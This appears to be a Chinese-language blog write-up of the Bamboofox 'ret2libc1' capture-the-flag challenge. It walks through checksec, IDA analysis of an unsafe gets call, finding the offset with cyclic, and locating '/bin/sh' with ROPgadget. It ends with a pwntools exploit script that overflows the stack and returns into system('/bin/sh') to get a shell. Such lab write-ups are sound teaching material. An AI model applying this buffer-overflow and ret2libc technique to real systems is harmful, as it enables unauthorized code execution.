Bamboofox ret2libc1解题过程

分析

题目链接

  1. 通过checksec分析可知本题仅开启了NX保护,说明不能直接进行栈溢出把shell写在栈上然后执行
  2. 接着使用IDA进行反汇编对代码分析可知,该程序使用了gets函数对s数组进行输入,双击s可以发现其处于.bss段上(通过vmmap可知bss段可读可写可执行)
  3. 同时在IDA中发现了system.plt段地址
    到此,思路明确,使用ret2libc来capture the flag

解题

在gdb中使用

cyclic 200
cyclic -l invaild_address

来获取偏移量
接着使用

ROPgadget --binary retlibc1 --string "/bin/sh"

获取/bin/sh地址
最后exploit.py如下

from pwn import *

context(arch = 'i386',os = 'linux')

p = process('./ret2libc1')

elf = ELF('./ret2libc1')

bss_addr = elf.bss()
gets_addr = 0x8048430
system_addr = 0x08048460
binsh_addr = 0x8048720
print("bss_addr = " + hex(bss_addr))
print("gets_addr = " + hex(gets_addr))

payload = b'a' * 112 + p32(system_addr) + b'a' * 4 + p32(binsh_addr)

p.sendline(payload)

gdb.attach(p)

p.interactive()

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值